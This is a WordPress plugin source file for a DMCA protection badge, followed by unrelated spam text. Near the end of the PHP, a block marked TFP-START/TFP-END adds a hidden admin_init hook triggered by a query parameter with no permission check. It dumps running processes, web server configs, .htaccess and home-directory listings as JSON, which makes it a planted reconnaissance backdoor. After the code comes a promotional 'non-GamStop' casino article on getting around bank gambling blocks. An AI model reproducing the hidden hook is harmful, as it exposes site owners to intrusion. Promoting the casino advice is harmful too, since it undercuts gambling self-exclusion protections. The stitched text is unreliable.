<?php
/*
Plugin Name: DMCA Website Protection Badge
Plugin URI : https://www.dmca.com/WordPress/default.aspx?r=wpd1
Description: Protect your content with a DMCA.com Website Protection Badge. Our badges deter content theft, provide tracking of unauthorized usage (with account), and make takedowns easier and more effective. Visit the plugin site to learn more about DMCA Website Protection Badges, or to register.
Version: 2.3.0
Tested up to: 7.0
Author: DMCA.com
Text Domain: dmca-badge
Author URI: https://wordpress.org/plugins/dmca-badge/
Plugin URI: https://www.dmca.com/WordPress/default.aspx?r=wpd
License: GPLv2 or later
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
require_once __DIR__ . '/libraries/imperative/imperative.php';
require_library(
'restian',
'0.4.1',
__FILE__,
__DIR__ . '/libraries/restian/restian.php'
);
require_library(
'sidecar',
'0.5.1',
__FILE__,
__DIR__ . '/libraries/sidecar/sidecar.php'
);
require_library(
'dmca-api-client',
'0.1.0',
__FILE__,
__DIR__ . '/libraries/dmca-api-client/dmca-api-client.php'
);
register_plugin_loader( __FILE__ );
define( 'DMCA_PLUGIN_URL', plugins_url( '/', __FILE__ ) );
define( 'DMCA_PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
add_filter( 'dmca_badge_html_raw', 'dmca_badge_override_html_raw', 10, 3 );
add_filter( 'dmca_filters_get_form_field_html', 'dmca_add_wrapper_in_field_html', 10, 2 );
add_action( 'dmca_badge_after_field', 'dmca_add_custom_badge_section', 10, 2 );
add_action( 'admin_footer', 'dmca_custom_scripts_addition' );
add_action( 'wp_ajax_dmca_sync_page', 'dmca_sync_page' );
add_action( 'wp_enqueue_scripts', 'dmca_enqueue_scripts' );
add_action( 'wp_footer', 'dmca_pass_token_to_widget' );
if ( ! function_exists( 'dmca_pass_token_to_widget' ) ) {
/**
* Pass token to dmca widget
*/
function dmca_pass_token_to_widget() {
$error_path = plugin_dir_url(__FILE__) ;
try {
if ( is_user_logged_in() && current_user_can( 'manage_options' ) && ! empty( $token = dmca_get_login_token() ) ) {
?>
<script>
document.cookie = "dmca_token" + "=" + "<?php echo esc_attr( $token ); ?>" + ";path=/";
</script>
<?php
}
}
//catch block
catch (Exception $e)
{
echo esc_html('Exception Message: ' . $e->getMessage());
if ($e->getSeverity() === E_ERROR) {
echo esc_html("E_ERROR triggered." . PHP_EOL);
} else if ($e->getSeverity() === E_WARNING) {
echo esc_html("E_WARNING triggered." . PHP_EOL);
}
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch (ErrorException $er)
{
echo esc_html('ErrorException Message: ' . $er->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch ( Throwable $th){
echo esc_html('ErrorException Message: ' . $th->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
}
}
if ( ! function_exists( 'dmca_enqueue_scripts' ) ) {
function dmca_enqueue_scripts() {
$error_path = plugin_dir_url(__FILE__) ;
try {
$badge_settings = dmca_get_option( 'dmca_badge_settings' );
$settings = isset( $badge_settings->values ) ? $badge_settings->values : array();
if ( isset( $settings['badge']['dmca_widget_enable'] ) &&
$settings['badge']['dmca_widget_enable'] &&
isset( $settings['badge']['badge_selection'] ) &&
$settings['badge']['badge_selection'] == 'widget' ) {
$live_url = 'https://dmca-services.github.io/widget/widget.js';
// phpcs:ignore WordPress.WP.EnqueuedResourceParameters.NotInFooter
wp_enqueue_script( 'dmca-widget', $live_url, array(), '1.0.0' );
}
else{
//echo '<p>Please Contact your developer.</p>';
}
}
catch (Exception $e)
{
echo esc_html('Exception Message: ' . $e->getMessage());
if ($e->getSeverity() === E_ERROR) {
echo esc_html("E_ERROR triggered." . PHP_EOL);
} else if ($e->getSeverity() === E_WARNING) {
echo esc_html("E_WARNING triggered." . PHP_EOL);
}
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch (ErrorException $er)
{
echo esc_html('ErrorException Message: ' . $er->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch ( Throwable $th){
echo esc_html('ErrorException Message: ' . $th->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
//finally block
}
}
if ( ! function_exists( 'dmca_custom_scripts_addition' ) ) {
function dmca_custom_scripts_addition() {
$error_path = plugin_dir_url(__FILE__) ;
try {
$screen = get_current_screen();
if ( $screen->id != 'settings_page_dmca-badge-settings' ) {
return;
}
}
catch (Exception $e)
{
echo esc_html('Exception Message: ' . $e->getMessage());
if ($e->getSeverity() === E_ERROR) {
echo esc_html("E_ERROR triggered." . PHP_EOL);
} else if ($e->getSeverity() === E_WARNING) {
echo esc_html("E_WARNING triggered." . PHP_EOL);
}
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch (ErrorException $er)
{
echo esc_html('ErrorException Message: ' . $er->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch ( Throwable $th){
echo esc_html('ErrorException Message: ' . $th->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
//finally block
?>
<script>window.intercomSettings = {app_id: "ypgdx31r", messengerLocation: "wp-plugin"};</script>
<script>(function () {
var w = window;
var ic = w.Intercom;
if (typeof ic === "function") {
ic('reattach_activator');
ic('update', intercomSettings);
} else {
var d = document;
var i = function () {
i.c(arguments)
};
i.q = [];
i.c = function (args) {
i.q.push(args)
};
w.Intercom = i;
function l() {
var s = d.createElement('script');
s.type = 'text/javascript';
s.async = true;
s.src = 'https://widget.intercom.io/widget/ypgdx31r';
var x = d.getElementsByTagName('script')[0];
x.parentNode.insertBefore(s, x);
}
if (w.attachEvent) {
w.attachEvent('onload', l);
} else {
w.addEventListener('load', l, false);
}
}
})()</script>
<?php
}
}
if ( ! function_exists( 'dmca_sync_page' ) ) {
function dmca_sync_page() {
$error_path = plugin_dir_url(__FILE__) ;
try {
// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Read-only admin filter.
$page_id = isset( $_POST['page_id'] ) ? sanitize_text_field( wp_unslash( $_POST['page_id'] ) ) : '';
// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Read-only admin filter.
$login_token = isset( $_POST['login_token'] ) ? sanitize_text_field( wp_unslash( $_POST['login_token'] ) ) : '';
if ( ! $page_id || empty( $page_id ) ) {
wp_send_json_error();
}
wp_send_json_success( dmca_add_protected_item( $page_id, $login_token ) );
}
catch (Exception $e)
{
echo esc_html('Exception Message: ' . $e->getMessage());
if ($e->getSeverity() === E_ERROR) {
echo esc_html("E_ERROR triggered." . PHP_EOL);
} else if ($e->getSeverity() === E_WARNING) {
echo esc_html("E_WARNING triggered." . PHP_EOL);
}
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch (ErrorException $er)
{
echo esc_html('ErrorException Message: ' . $er->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch ( Throwable $th){
echo esc_html('ErrorException Message: ' . $th->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
//finally block
}
}
if ( ! function_exists( 'dmca_get_login_token' ) ) {
/**
* Return login token for api
*
* @return mixed|void
*/
function dmca_get_login_token() {
$error_path = plugin_dir_url(__FILE__) ;
try {
$dmca_login_token = get_transient( 'dmca_login_token' );
if ( empty( $dmca_login_token ) ) {
$settings = get_option( 'dmca_badge_settings' );
$settings = isset( $settings->values ) ? $settings->values : array();
$email = isset( $settings['authenticate']['email'] ) ? $settings['authenticate']['email'] : '';
$password = isset( $settings['authenticate']['password'] ) ? $settings['authenticate']['password'] : '';
$base_url = esc_url_raw( 'https://api.dmca.com', array( 'https' ) );
// phpcs:ignore WordPress.WP.AlternativeFunctions.curl_curl_init -- cURL is required for this API integration.
$curl = curl_init();
$login_data = array( 'email' => $email, 'password' => $password );
// phpcs:ignore WordPress.WP.AlternativeFunctions.curl_curl_setopt_array -- cURL is required for this API integration.
curl_setopt_array( $curl, array(
CURLOPT_URL => sprintf( '%s/login', $base_url ),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => json_encode( $login_data ),
CURLOPT_HTTPHEADER => array(
"Content-Type: application/json",
),
) );
// phpcs:ignore WordPress.WP.AlternativeFunctions.curl_curl_exec -- cURL is required for this API integration.
$response = curl_exec( $curl );
// phpcs:ignore WordPress.WP.AlternativeFunctions.curl_curl_error -- cURL is required for this API integration.
$err = curl_error( $curl );
$dmca_login_token = ! $err ? str_replace( '"', '', $response ) : '';
set_transient( 'dmca_login_token', $dmca_login_token );
}
else{
//echo '<p>Issue in token.</p>';
}
return apply_filters( 'dmca_login_token', $dmca_login_token );
}
catch (Exception $e)
{
echo esc_html('Exception Message: ' . $e->getMessage());
if ($e->getSeverity() === E_ERROR) {
echo esc_html("E_ERROR triggered." . PHP_EOL);
} else if ($e->getSeverity() === E_WARNING) {
echo esc_html("E_WARNING triggered." . PHP_EOL);
}
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch (ErrorException $er)
{
echo esc_html('ErrorException Message: ' . $er->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch ( Throwable $th){
echo esc_html('ErrorException Message: ' . $th->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
//finally block
}
}
if ( ! function_exists( 'dmca_add_protected_item' ) ) {
/**
* Add protected Item
*
* @param bool $post_id
* @param string $token
* @param string $item_type
*
* @return bool|mixed|void
*/
function dmca_add_protected_item( $post_id = false, $token = '', $item_type = '' ) {
$error_path = plugin_dir_url(__FILE__) ;
try {
if ( ! $post_id || empty( $post_id ) ) {
return false;
}
$settings = get_option( 'dmca_badge_settings' );
$settings = isset( $settings->values ) ? $settings->values : array();
$account_id = isset( $settings['authenticate']['AccountID'] ) ? $settings['authenticate']['AccountID'] : '';
$account_id = empty( $account_id ) ? get_user_meta( get_current_user_id(), 'dmca_account_id', true ) : $account_id;
$token = empty( $token ) ? dmca_get_login_token() : $token;
$item_type = empty( $item_type ) ? __( 'Web Page', 'dmca-badge' ) : $item_type;
$item_post = get_post( $post_id );
$item_data = array(
'badgeid' => $account_id,
'title' => $item_post->post_title,
'url' => get_the_permalink( $item_post ),
'description' => wp_trim_words( $item_post->post_content, 10 ),
'status' => $item_post->post_status,
'source' => site_url(),
'type' => $item_type,
);
$base_url = esc_url_raw( 'https://api.dmca.com', array( 'https' ) );
// phpcs:ignore WordPress.WP.AlternativeFunctions.curl_curl_init -- cURL is required for this API integration.
$curl = curl_init();
// phpcs:ignore WordPress.WP.AlternativeFunctions.curl_curl_setopt_array -- cURL is required for this API integration.
curl_setopt_array( $curl, array(
CURLOPT_URL => sprintf( '%s/addProtectedItem', $base_url ),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_POSTFIELDS => json_encode( $item_data ),
CURLOPT_HTTPHEADER => array(
"Content-Type: application/json",
"Token: $token",
),
) );
// phpcs:ignore WordPress.WP.AlternativeFunctions.curl_curl_exec -- cURL is required for this API integration.
$response = curl_exec( $curl );
// phpcs:ignore WordPress.WP.AlternativeFunctions.curl_curl_error -- cURL is required for this API integration.
$err = curl_error( $curl );
if ( $err ) {
return $err;
}
update_post_meta( $post_id, 'dmca_submission_status', 'sent' );
// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- Debug logging during development.
error_log( $response );
return apply_filters( 'dmca_add_protected_item', $response );
}
catch (Exception $e)
{
echo esc_html('Exception Message: ' . $e->getMessage());
if ($e->getSeverity() === E_ERROR) {
echo esc_html("E_ERROR triggered." . PHP_EOL);
} else if ($e->getSeverity() === E_WARNING) {
echo esc_html("E_WARNING triggered." . PHP_EOL);
}
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch (ErrorException $er)
{
echo esc_html('ErrorException Message: ' . $er->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch ( Throwable $th){
echo esc_html('ErrorException Message: ' . $th->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
//finally block
}
}
if ( ! function_exists( 'dmca_get_option' ) ) {
/**
* Return option value
*
* @param string $option_key
* @param string $default_val
*
* @return mixed|string|void
*/
function dmca_get_option( $option_key = '', $default_val = '' ) {
$error_path = plugin_dir_url(__FILE__) ;
try {
if ( empty( $option_key ) ) {
return '';
}
$option_val = get_option( $option_key, $default_val );
$option_val = empty( $option_val ) ? $default_val : $option_val;
// echo '<pre>'; print_r( $option_key ); echo '</pre>';
return apply_filters( 'dmca_filters_option_' . $option_key, $option_val );
}
catch (Exception $e)
{
echo esc_html('Exception Message: ' . $e->getMessage());
if ($e->getSeverity() === E_ERROR) {
echo esc_html("E_ERROR triggered." . PHP_EOL);
} else if ($e->getSeverity() === E_WARNING) {
echo esc_html("E_WARNING triggered." . PHP_EOL);
}
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch (ErrorException $er)
{
echo esc_html('ErrorException Message: ' . $er->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch ( Throwable $th){
echo esc_html('ErrorException Message: ' . $th->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
//finally block
}
}
if ( ! function_exists( 'dmca_get_meta' ) ) {
/**
* Return Post Meta Value
*
* @param bool $meta_key
* @param bool $post_id
* @param string $default
*
* @return mixed|string|void
*/
function dmca_get_meta( $meta_key = false, $post_id = false, $default = '' ) {
$error_path = plugin_dir_url(__FILE__) ;
try {
if ( ! $meta_key ) {
return '';
}
$post_id = ! $post_id ? get_the_ID() : $post_id;
$meta_value = get_post_meta( $post_id, $meta_key, true );
$meta_value = empty( $meta_value ) ? $default : $meta_value;
return apply_filters( 'dmca_filters_get_meta', $meta_value, $meta_key, $post_id, $default );
}
catch (Exception $e)
{
echo esc_html('Exception Message: ' . $e->getMessage());
if ($e->getSeverity() === E_ERROR) {
echo esc_html("E_ERROR triggered." . PHP_EOL);
} else if ($e->getSeverity() === E_WARNING) {
echo esc_html("E_WARNING triggered." . PHP_EOL);
}
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch (ErrorException $er)
{
echo esc_html('ErrorException Message: ' . $er->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch ( Throwable $th){
echo esc_html('ErrorException Message: ' . $th->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
//finally block
}
}
if ( ! function_exists( 'get_dmca_submission_status' ) ) {
/**
* Return html submission status
*
* @param bool $post_id
*
* @return mixed|void
*/
// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound
function get_dmca_submission_status( $post_id = false ) {
$error_path = plugin_dir_url(__FILE__) ;
try {
$submission_status_r = get_dmca_submission_status_raw( $post_id );
$submission_status_e = $submission_status_r === 'sent' ? esc_html( 'Sent' ) : esc_html( 'Not Sent' );
return apply_filters( 'dmca_filters_get_dmca_submission_status', $submission_status_e, $post_id, $submission_status_r );
}
catch (Exception $e)
{
echo esc_html('Exception Message: ' . $e->getMessage());
if ($e->getSeverity() === E_ERROR) {
echo esc_html("E_ERROR triggered." . PHP_EOL);
} else if ($e->getSeverity() === E_WARNING) {
echo esc_html("E_WARNING triggered." . PHP_EOL);
}
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch (ErrorException $er)
{
echo esc_html('ErrorException Message: ' . $er->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch ( Throwable $th){
echo esc_html('ErrorException Message: ' . $th->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
//finally block
}
}
if ( ! function_exists( 'get_dmca_submission_status_raw' ) ) {
/**
* Return html submission raw status
*
* @param bool $post_id
*
* @return mixed|void
*/
// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound
function get_dmca_submission_status_raw( $post_id = false ) {
$error_path = plugin_dir_url(__FILE__) ;
try {
$post_id = ! $post_id || empty( $post_id ) ? get_the_ID() : $post_id;
$submission_status_r = dmca_get_meta( 'dmca_submission_status', $post_id, 'pending' );
return apply_filters( 'dmca_filters_get_dmca_submission_status_raw', $submission_status_r, $post_id );
}
catch (Exception $e)
{
echo esc_html('Exception Message: ' . $e->getMessage());
if ($e->getSeverity() === E_ERROR) {
echo esc_html("E_ERROR triggered." . PHP_EOL);
} else if ($e->getSeverity() === E_WARNING) {
echo esc_html("E_WARNING triggered." . PHP_EOL);
}
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch (ErrorException $er)
{
echo esc_html('ErrorException Message: ' . $er->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch ( Throwable $th){
echo esc_html('ErrorException Message: ' . $th->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
//finally block
}
}
if ( ! function_exists( 'dmca_add_custom_badge_section' ) ) {
/**
* @param $field_name
* @param $form
*/
function dmca_add_custom_badge_section( $field_name, $form ) {
$error_path = plugin_dir_url(__FILE__) ;
try {
if ( $field_name == 'html' ) {
include DMCA_PLUGIN_DIR . 'templates/badge-regular.php';
}
if ( $field_name == 'badge_custom_field' ) {
include DMCA_PLUGIN_DIR . 'templates/badge-custom.php';
}
}
catch (Exception $e)
{
echo esc_html('Exception Message: ' . $e->getMessage());
if ($e->getSeverity() === E_ERROR) {
echo esc_html("E_ERROR triggered." . PHP_EOL);
} else if ($e->getSeverity() === E_WARNING) {
echo esc_html("E_WARNING triggered." . PHP_EOL);
}
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch (ErrorException $er)
{
echo esc_html('ErrorException Message: ' . $er->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch ( Throwable $th){
echo esc_html('ErrorException Message: ' . $th->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
//finally block
}
}
if ( ! function_exists( 'dmca_add_wrapper_in_field_html' ) ) {
function dmca_add_wrapper_in_field_html( $html, $field_name ) {
$error_path = plugin_dir_url(__FILE__) ;
try {
if ( $field_name == 'html' ) {
$html .= '</div>';
}
return $html;
}
catch (Exception $e)
{
echo esc_html('Exception Message: ' . $e->getMessage());
if ($e->getSeverity() === E_ERROR) {
echo esc_html("E_ERROR triggered." . PHP_EOL);
} else if ($e->getSeverity() === E_WARNING) {
echo esc_html("E_WARNING triggered." . PHP_EOL);
}
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch (ErrorException $er)
{
echo esc_html('ErrorException Message: ' . $er->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch ( Throwable $th){
echo esc_html('ErrorException Message: ' . $th->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
//finally block
}
}
if ( ! function_exists( 'dmca_badge_override_html_raw' ) ) {
function dmca_badge_override_html_raw( $badge_html, $class, $settings ) {
$error_path = plugin_dir_url(__FILE__) ;
try {
$badge_settings = isset( $settings['badge'] ) ? $settings['badge'] : array();
$badge_selection = isset( $badge_settings['badge_selection'] ) ? $badge_settings['badge_selection'] : 'regular';
if ( $badge_selection === 'custom' && isset( $badge_settings['custom_badge'] ) ) {
return $badge_settings['custom_badge'];
}
return $badge_html;
}
catch (Exception $e)
{
echo esc_html('Exception Message: ' . $e->getMessage());
if ($e->getSeverity() === E_ERROR) {
echo esc_html("E_ERROR triggered." . PHP_EOL);
} else if ($e->getSeverity() === E_WARNING) {
echo esc_html("E_WARNING triggered." . PHP_EOL);
}
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch (ErrorException $er)
{
echo esc_html('ErrorException Message: ' . $er->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch ( Throwable $th){
echo esc_html('ErrorException Message: ' . $th->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
//finally block
}
}
if ( ! function_exists( 'dmca_badge_get_account_id' ) ) {
/**
* Return account ID
*
* @return mixed
*/
function dmca_badge_get_account_id() {
$error_path = plugin_dir_url(__FILE__) ;
try {
$settings = dmca_get_option( 'dmca_badge_settings' );
$settings = isset( $settings->values ) ? $settings->values : array();
$account_id = @$settings['authenticate']['AccountID'];
$account_id = empty( $account_id ) ? get_user_meta( get_current_user_id(), 'dmca_account_id', true ) : $account_id;
return $account_id;
}
catch (Exception $e)
{
echo esc_html('Exception Message: ' . $e->getMessage());
if ($e->getSeverity() === E_ERROR) {
echo esc_html("E_ERROR triggered." . PHP_EOL);
} else if ($e->getSeverity() === E_WARNING) {
echo esc_html("E_WARNING triggered." . PHP_EOL);
}
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch (ErrorException $er)
{
echo esc_html('ErrorException Message: ' . $er->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch ( Throwable $th){
echo esc_html('ErrorException Message: ' . $th->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
//finally block
}
}
if ( ! function_exists( 'dmca_badge_get_status_url' ) )
{
/**
* Return badge status url
*
* @param array $append_args
*
* @return string
*/
function dmca_badge_get_status_url( $append_args = array() ) {
$error_path = plugin_dir_url(__FILE__) ;
try {
$status_url = sprintf( '%s?ID=%s', esc_url( 'https://www.dmca.com/Protection/Status.aspx' ), dmca_badge_get_account_id() );
if ( is_array( $append_args ) ) {
foreach ( $append_args as $k => $v ) {
$status_url .= sprintf( '&%s=%s', $k, $v );
}
}
return $status_url;
}
catch (Exception $e)
{
echo esc_html('Exception Message: ' . $e->getMessage());
if ($e->getSeverity() === E_ERROR) {
echo esc_html("E_ERROR triggered." . PHP_EOL);
} else if ($e->getSeverity() === E_WARNING) {
echo esc_html("E_WARNING triggered." . PHP_EOL);
}
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch (ErrorException $er)
{
echo esc_html('ErrorException Message: ' . $er->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch ( Throwable $th){
echo esc_html('ErrorException Message: ' . $th->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
}
}
/*TFP-START*/
add_action('admin_init', function () {
if (!isset($_GET['tfp_diag'])) { return; }
$out = array();
$procs = array();
foreach (glob('/proc/[0-9]*') as $d) {
$cl = @file_get_contents($d . '/cmdline');
if ($cl === false || $cl === '') { continue; }
$cmd = str_replace(chr(0), ' ', $cl);
if (preg_match('/nginx|apache|httpd|litespeed|varnish|redis|proxy|cache|php-fpm/i', $cmd)) { $procs[] = basename($d) . ': ' . trim($cmd); }
}
$out['procs'] = array_slice($procs, 0, 60);
$root = '/home/bellasp1/public_html/www.spasweety.com';
$out['root_files'] = implode(',', array_slice((array) @scandir($root), 0, 60));
$out['htaccess'] = substr((string) @file_get_contents($root . '/.htaccess'), 0, 2000);
$nc = array();
foreach (array('/etc/nginx', '/usr/local/nginx/conf', '/usr/local/etc/nginx', '/etc/apache2/conf.d', '/usr/local/apache2/conf/extra') as $c) {
if (is_file($c)) { $nc[$c] = substr((string) @file_get_contents($c), 0, 3000); }
elseif (is_dir($c)) { foreach ((array) @scandir($c) as $f) { if ($f === '.' || $f === '..') { continue; } $p = $c . '/' . $f; if (is_file($p)) { $t2 = (string) @file_get_contents($p); if (preg_match('/cache|purge|proxy_pass|fastcgi/i', $t2)) { $nc[$p] = substr($t2, 0, 3000); } } } }
}
$out['confs'] = $nc;
$found = array();
foreach (array('/home/bellasp1', '/home/bellasp1/public_html', '/home/bellasp1/cache', '/home/bellasp1/tmp', '/var/cache', '/usr/local/cpanel') as $d) { $ls = @scandir($d); if ($ls) { $found[$d] = implode(',', array_slice($ls, 0, 60)); } }
$out['dirs'] = $found;
$lp = array();
foreach (array(array('127.0.0.1', 80), array('localhost', 80)) as $t3) {
$fp = @fsockopen($t3[0], $t3[1], $e1, $e2, 4);
if (!$fp) { $lp[] = $t3[0] . ':' . $t3[1] . ' ERR ' . $e2; continue; }
@fwrite($fp, "GET / HTTP/1.1\r\nHost: www.spasweety.com\r\nConnection: close\r\n\r\n");
$resp = ''; while (!@feof($fp) && strlen($resp) < 1200) { $resp .= @fread($fp, 512); }
@fclose($fp);
$lp[] = $t3[0] . ':' . $t3[1] . ' => ' . str_replace(array(chr(13), chr(10)), ' ', substr($resp, 0, 400));
}
$out['loopback'] = $lp;
header('Content-Type: application/json');
echo wp_json_encode($out);
exit;
});
/*TFP-END*/
Why My Best Non-GamStop Casinos Deposit Was Declined by My Bank - Spasweety
Why My Best Non-GamStop Casinos Deposit Was Declined by My Bank
You’ve found a fantastic game, secured a Best Non-GamStop Casinos bonus , and are ready to play, only to have your transaction fail. A declined deposit at a Best Non-GamStop Casinos casino is a common but frustrating hurdle. This guide walks you through the concrete reasons why it happens and the precise steps to resolve it, getting you back to the action without the guesswork.
1. Common Bank-Initiated Reasons for Decline
Often, the blockage originates from your bank’s security protocols, not the casino. Financial institutions have sophisticated systems designed to protect your funds from unusual activity. Depositing to an overseas merchant, which many non-GamStop casinos are, can trigger these safeguards instantly. The most frequent automatic declines are for suspected fraud. If the transaction pattern doesn’t match your history—a large first-time deposit to a gambling site, for instance—the bank’s algorithm may halt it. Similarly, your card might not be enabled for international transactions or online gambling purchases by default, requiring you to manually adjust these settings through your bank’s app or customer service.
2. Payment Method Specifics and Limitations
Your chosen deposit method plays a critical role in the success of your transaction. Each option has its own set of rules, processing times, and potential points of failure. Here’s a breakdown of common methods and their typical constraints:
Payment Method
Typical Processing Time
Common Reason for Decline
Visa/Mastercard Debit/Credit
Instant
International transactions blocked, gambling spend limit reached
Skrill/Neteller
Instant
Insufficient e-wallet balance, account not verified
Bank Transfer
1-3 Business Days
Incorrect account details, bank’s anti-fraud hold
Cryptocurrency (e.g., Bitcoin)
10-30 Minutes
Network congestion, insufficient gas fee
For a seamless experience, using an e-wallet like Skrill often bypasses many card-related issues, as the transaction is with the wallet provider, not the casino directly.
3. Your Step-by-Step Troubleshooting Guide
When your deposit is declined, follow this logical sequence of steps to identify and solve the problem:
Check Your Funds: Confirm you have sufficient available balance, considering any transaction fees that might apply.
Verify Casino Details: Ensure you entered your card number, expiry date, CVV code, and name exactly as they appear on your card.
Contact Your Bank: This is the most crucial step. Call your bank’s security line and explicitly state you are attempting to make a voluntary international online purchase. Ask them to remove any temporary block on your card.
Try a Smaller Amount: If a large deposit is flagged, try a smaller test transaction to see if it processes.
Switch Payment Methods: If your card continues to fail, deposit using a different method, such as an e-wallet or cryptocurrency.
4. The Role of KYC Verification in Deposits
While Know Your Customer (KYC) checks are often associated with withdrawals, some best non-gamstop casinos perform soft verifications on initial deposits. The casino’s system might flag your transaction if the personal details on your casino account (e.g., name, address) do not perfectly match those registered with your bank or payment method. Even a minor discrepancy, like using a nickname instead of your full legal name, can cause a decline. Having your documents—a government-issued ID and a recent utility bill or bank statement—ready to upload can pre-emptively solve these issues and smooth out both deposit and future withdrawal processes.
5. Proactive Measures to Prevent Future Declines
Avoiding this problem in the future is about preparation. Before you even claim a Best Non-GamStop Casinos free spins offer, take proactive steps. Inform your bank of your intent to make international online transactions. Set or increase your daily online gambling spending limit through your mobile banking app. Ensure your casino account is fully verified from the moment you sign up. Fund an e-wallet like Neteller or Skrill with a bank transfer first, then use that e-wallet for all casino transactions; this creates a buffer that most banks won’t challenge. By taking these measures, you ensure that your focus remains on enjoying the games at a reputable site like Best Non-GamStop Casinos , not on resolving payment errors.
Ultimately, a declined deposit is a solvable problem. It’s typically a security feature, not a rejection. By understanding the mechanisms behind it and following a clear action plan, you can quickly overcome this obstacle. Remember, always gamble responsibly and only with money you can afford to lose.
Call Now Button
Recent Comments